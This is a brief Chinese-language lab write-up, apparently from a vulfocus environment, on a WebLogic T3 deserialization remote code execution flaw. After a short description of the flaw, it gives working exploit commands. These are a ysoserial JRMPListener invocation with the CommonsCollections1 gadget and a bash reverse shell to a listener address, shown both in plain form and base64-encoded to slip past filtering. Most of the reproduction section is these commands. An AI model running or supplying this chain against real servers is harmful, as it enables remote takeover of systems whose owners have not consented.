漏洞描述

Oracle WebLogic Server是美国甲骨文（Oracle）公司的一款适用于云环境和传统环境的应用服务器，它提供了一个现代轻型开发平台，支持应用从开发到生产的整个生命周期管理，并简化了应用的部署和管理。WLS Core是其中的一个核心组件。 攻击者利用其他rmi绕过weblogic黑名单限制，然后在将加载的内容利用readObject解析，从而造成反序列化远程代码执行该漏洞，该漏洞主要由于T3服务触发，所有开放weblogic控制台7001端口，默认会开启T3服务，攻击者发送构造好的T3协议数据，就可以获取目标服务器的权限。

漏洞环境

vulfocus

漏洞复现

1、直接工具梭哈

2、

开启监听服务JRMPListen , 服务器端使用ysoserial, 利用ysoserial的JRMP对端口监听 命令：

java -cp 【ysoserial名】 ysoserial.exploit.JRMPListener 【监听端口】 CommonsCollections1 【命令】

反弹shell：

bash -c {echo,bash -i >& /dev/tcp/172.16.222.60/1234 0>&1}|{base64,-d}|{bash,-i}

base64编码后：

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMjIyLjYwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}

**java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections1 'bash** **-c** **{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMjIyLjYwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}'**